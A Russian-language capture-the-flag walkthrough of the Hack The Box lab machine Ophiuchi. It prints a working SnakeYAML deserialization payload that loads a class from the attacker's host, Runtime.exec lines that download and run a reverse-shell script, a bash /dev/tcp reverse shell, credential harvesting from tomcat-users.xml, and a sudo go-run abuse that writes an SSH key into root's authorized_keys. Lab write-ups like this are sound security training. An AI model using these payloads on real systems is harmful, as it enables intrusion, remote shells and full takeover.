December 31, 2021

HTB Ophiuchi. Учимся пентестить парсер и рекомпилировать WASM

В этой статье я покажу про­хож­дение машины Ophiuchi с пло­щад­ки Hack The Box. На ее при­мере мы сна­чала попен­тестим SnakeYAML, а затем будем модифи­циро­вать при­ложе­ние на Go, которое ком­пилиру­ется в WebAssembly.

WARNING

Под­клю­чать­ся к машинам с HTB рекомен­дует­ся толь­ко через VPN. Не делай это­го с компь­юте­ров, где есть важ­ные для тебя дан­ные, так как ты ока­жешь­ся в общей сети с дру­гими учас­тни­ками.

РАЗВЕДКА

Сканирование портов

До­бав­ляем адрес машины в файл hosts, что­бы обра­щать­ся к ней по име­ни.

10.10.10.227 ophiuchi.htb

И начина­ем тра­дици­онно со ска­ниро­вания пор­тов. В этот раз я буду исполь­зовать быс­трый ска­нер RustScan. Сна­чала он най­дет все откры­тые пор­ты, а потом передаст зна­мени­тому Nmap для ска­ниро­вания со скрип­тами (прос­то ука­жем опцию -A).

rustscan 10.10.10.227 -- -A
Об­наружен­ные с помощью RustScan откры­тые пор­ты
Ска­ниро­вание Nmap

Мы наш­ли две служ­бы: SSH (порт 22) и веб‑сер­вер Apache Tomcat (порт 8080). На SSH сей­час мож­но толь­ко брут­форсить учет­ные дан­ные, но это не комиль­фо, тем более при про­хож­дении лабора­тор­ных машин. Поэто­му нам оста­ется искать точ­ку вхо­да на сай­те.

ТОЧКА ВХОДА

При перехо­де на сайт нас встре­тила фор­ма пар­сера раз­метки YAML.

Фор­ма Online YAML Parser

Ти­пич­ная проб­лема любых пар­серов — неп­равиль­ная обра­бот­ка слу­жеб­ных сим­волов, которая может при­вес­ти к уяз­вимос­тям. Что­бы про­верить, нет ли здесь чего‑то подоб­ного, отпра­вим в фор­му вво­да все печата­емые сим­волы по оче­реди. Я буду делать это через Burp. Пер­вым делом перех­ватим зап­рос в Burp и отпра­вим его в Intruder. На вклад­ке Payload Position ука­жем тип ата­ки Sniper, изме­ним зна­чение парамет­ра data, при­менив пус­тую наг­рузку.

Вклад­ка Payload Position

Да­лее на вклад­ке Payload Options заг­рузим спи­сок печата­емых сим­волов, к при­меру этот, из набора сло­варей SecLists. И выпол­ним перебор, нажав кноп­ку Start Attack. Пос­ле завер­шения ата­ки сор­тиру­ем резуль­таты по стол­бцу Length так, что­бы сна­чала шли самые боль­шие отве­ты.

Вклад­ка Payload Options
Ре­зуль­тат перебо­ра сим­вола

Ес­ли отправ­лять обыч­ные сим­волы, то ответ всег­да будет оди­нако­вый.

Due to security reason this feature has been temporarily on hold. We will soon fix the issue!

Но в ответ на некото­рые зап­росы мы получа­ем ошиб­ки. Для нас это хорошо, так как сооб­щения могут рас­кры­вать допол­нитель­ную информа­цию о целевом при­ложе­нии, к при­меру исполь­зуемые тех­нологии. И дей­стви­тель­но: в тек­сте ошиб­ки видим упо­мина­ние SnakeYAML, и, что более инте­рес­но, ошиб­ка про­исхо­дит в методе load.

INFO

SnakeYAML — про­цес­сор раз­метки YAML для прог­рамм на Java.

Текст ошиб­ки, получа­емой при отправ­ке сим­вола про­цен­та

То есть в дан­ном слу­чае поль­зователь­ский ввод переда­ется в метод Yaml.load(), который кон­верти­рует документ YAML в объ­ект Java, что потен­циаль­но может при­вес­ти к уяз­вимос­ти десери­али­зации, а это, в свою оче­редь, откры­вает путь к уда­лен­ному выпол­нению кода (RCE).

Даль­ше я без тру­да нашел готовую наг­рузку, которая экс­плу­ати­рует уяз­вимость в десери­али­зации SnakeYAML (PDF). Смысл уяз­вимос­ти в том, что мы можем спро­воци­ровать заг­рузку клас­са со сво­его хос­та.

Да­вай отпра­вим тес­товую наг­рузку и пос­мотрим на резуль­тат. Что­бы пой­мать отклик, запус­тим прос­той локаль­ный веб‑сер­вер Python 3.

python3 -m http.server 8000

А теперь отправ­ляем сле­дующую наг­рузку. Пос­ле отправ­ки в логах веб‑сер­вера уви­дим попыт­ку заг­рузить фай­лы.

!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://10.10.14.88:8000/"]
 ]]
]
По­иск опи­сан­ных уяз­вимос­тей в Online YAML Parser

В окне бра­узе­ра наб­люда­ем уже зна­комое нам сооб­щение, а вот в логах веб‑сер­вера видим две записи, одна из которых — зап­рос HEAD. То есть наше пред­положе­ние ока­залось вер­ным, мы можем добить­ся заг­рузки кода с нашего сер­вера.

Ло­ги локаль­ного веб‑сер­вера Python

ТОЧКА ОПОРЫ

Уяз­вимость под­твер­дили, давай ее экс­плу­ати­ровать. В нашем слу­чае SnakeYAML пытал­ся выз­вать конс­трук­тор ScriptEngineManager, но до это­го пыта­ется получить дос­туп к конеч­ной точ­ке /META-INF/services/javax.script.ScriptEngineFactory (что отра­жено в логах веб‑сер­вера), и, пос­коль­ку она недос­тупна, наш сер­вер отве­чает ошиб­кой 404. На GitHub уже есть го­товая наг­рузка для такого слу­чая. Давай заг­рузим репози­торий и вне­сем изме­нения в основной код.

git clone https://github.com/artsploit/yaml-payload.git
Ис­ходный код клас­са AwesomeScriptEngineFactory

Нас боль­ше все­го инте­ресу­ет фун­кция Runtime.getRuntime().exec(), параметр которой сле­дует изме­нить. Пос­тупим сле­дующим обра­зом: в пер­вой фун­кции будем заг­ружать с локаль­ной машины скрипт на bash с реверс‑шел­лом, а во вто­рой — наз­начать пра­ва и выпол­нять. Исполь­зуем сле­дующий бэк­шелл:

bash -i >& /dev/tcp/10.10.14.88/4321 0>&1

Тог­да стро­ки 12 и 13 будут такими:

Runtime.getRuntime().exec("wget http://[ip]:8000/rs.sh -O /tmp/rs.sh");
Runtime.getRuntime().exec("chmod +x /tmp/rs.sh ; /tmp/rs.sh");

Файл с шелом рас­положим в дирек­тории уже запущен­ного веб‑сер­вера.

Ос­талось перей­ти в дирек­торию репози­тория, что­бы текущий путь соот­ветс­тво­вал тому, что мы видим в зап­росе, а затем пре­обра­зовать файл Java в байт‑код и сно­ва запус­тить веб‑сер­вер.

cd yaml-payload/src
javac artsploit/AwesomeScriptEngineFactory.java
sudo python3 -m http.server 80

Те­перь отпра­вим пар­серу уже зна­комую нам наг­рузку, толь­ко изме­ним порт с 8000 на 80. В логах веб‑сер­вера в катало­ге с прог­раммой наб­люда­ем успешную заг­рузку фай­лов, в логах «ста­рого» веб‑сер­вера уви­дим заг­рузку шел­ла, а в лис­тенере — бэк­коннект.

Ло­ги веб‑сер­вера Python (порт 80)
Ло­ги веб‑сер­вера Python (порт 8000)
Бэк­коннект

ПРОДВИЖЕНИЕ

Мы работа­ем в кон­тек­сте учет­ной записи служ­бы веб‑сер­вера Tomcat. В таких слу­чаях всег­да сле­дует искать учет­ные дан­ные, которые могут подой­ти к поль­зователь­ским учет­кам как на сер­вере, так и на сай­те или даже при пря­мом кон­некте к базе дан­ных. В слу­чае с Apache Tomcat учет­ки хра­нят­ся в фай­ле /opt/tomcat/conf/tomcat-users.xml. Для поис­ка кри­тичес­ких дан­ных дос­таточ­но искать стро­ки по клю­чевым сло­вам pass, secret, token и подоб­ным. Так и уда­ется най­ти пароль.

Спи­сок фай­лов в катало­ге /opt/tomcat/conf/
Па­роли из фай­ла tomcat-users.xml

С най­ден­ными учет­ными дан­ными успешно под­клю­чаем­ся по SSH и забира­ем пер­вый флаг.

Флаг поль­зовате­ля

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ

Из все­го, что сто­ит ана­лизи­ровать для нахож­дения век­тора к повыше­нию при­виле­гий, мож­но сра­зу про­верять нас­трой­ки судо­ера и при­ложе­ния с выс­тавлен­ным битом SUID. И при про­вер­ке судо­ера находим зацеп­ку.

Есть мно­го путей повыше­ния при­виле­гий, но в пер­вую оче­редь рекомен­дую про­верять нас­трой­ки sudoers и искать при­ложе­ния с выс­тавлен­ным битом SUID.

sudo -l
Нас­трой­ки sudoers

Все поль­зовате­ли могут без вво­да пароля выпол­нить сле­дующую коман­ду в при­виле­гиро­ван­ном кон­тек­сте.

/usr/bin/go run /opt/wasm-functions/index.go

Здесь прос­то выпол­няет­ся файл /opt/wasm-functions/index.go. Давай взгля­нем на него.

Со­дер­жимое фай­ла /opt/wasm-functions/index.go

В самом начале фай­ла бро­сает­ся в гла­за под­клю­чение wasmer-go, далее про­исхо­дит чте­ние фай­ла main.wasm, пос­ле чего экспор­тиру­ется зна­чение info. Если резуль­тат не равен еди­нице, то мы прос­то получа­ем сооб­щение Not ready to deploy, ина­че выпол­нится bash-скрипт deploy.sh (еще и в при­виле­гиро­ван­ном кон­тек­сте). Ошиб­ка зак­люча­ется в ука­зании неяв­ных путей к фай­лам, что поз­воля­ет нам раз­местить такие же фай­лы в текущей дирек­тории и опе­риро­вать имен­но ими. Заг­рузим на локаль­ный хост файл main.wasm.

scp [email protected]:/opt/wasm-functions/main.wasm ./
Ска­чива­ние фай­ла с сер­вера при помощи scp

WebAssembly — язык прог­рамми­рова­ния низ­кого уров­ня для сте­ковой вир­туаль­ной машины, в который ком­пилиру­ются прог­раммы на высоко­уров­невых язы­ках, в том чис­ле и Go. Для ана­лиза фай­ла будем исполь­зовать webassembly.github.io.

Спер­ва пос­мотрим на info, для это­го нам нуж­но пре­обра­зовать файл .wasm в тек­сто­вый вид. На сай­те по ссыл­ке выше перехо­дим к сер­вису wasm2wat и заг­ружа­ем наш файл.

Сер­вис wasm2wat

В треть­ей стро­ке находим экспорт info и воз­вра­щаемое зна­чение 0 (стро­ка 4). Копиру­ем весь пред­став­ленный код и встав­ляем уже в сер­висе wat2wasm, меня­ем воз­вра­щаемое зна­чение с нуля на еди­ницу. Пос­ле чего ска­чива­ем соб­ранный файл.

Сер­вис wat2wasm

Соб­ранный файл заг­рузим в дирек­торию /tmp уда­лен­ного хос­та.

scp ./test.wasm [email protected]:/tmp/main.wasm

Ос­талось соз­дать файл deploy.sh. В нем я записы­ваю руту свой ключ SSH. Спер­ва генери­руем пару клю­чей с помощью ssh-keygen.

Ге­нери­рова­ние пары клю­чей

А затем ука­жем ключ в deploy.sh, дадим пра­во на исполне­ние и выпол­ним целевое при­ложе­ние через sudo.

cd /tmp
echo 'echo ssh-rsa AAAAB3NzaC1y......p0iM9xKc= ralf@ralf-PC >> /root/.ssh/authorized_keys ; echo OK' > deploy.sh
chmod +x deploy.sh
sudo /usr/bin/go run /opt/wasm-functions/index.go
Вы­пол­нение целево­го при­ложе­ния

Ви­дим, что ключ успешно записал­ся, оста­лось под­клю­чить­ся с при­ват­ным клю­чом и заб­рать рут.

ssh -i id_rsa [email protected]
Флаг рута

Та­ким путем мы зах­ватыва­ем дан­ную машину и получа­ем над ней пол­ный кон­троль.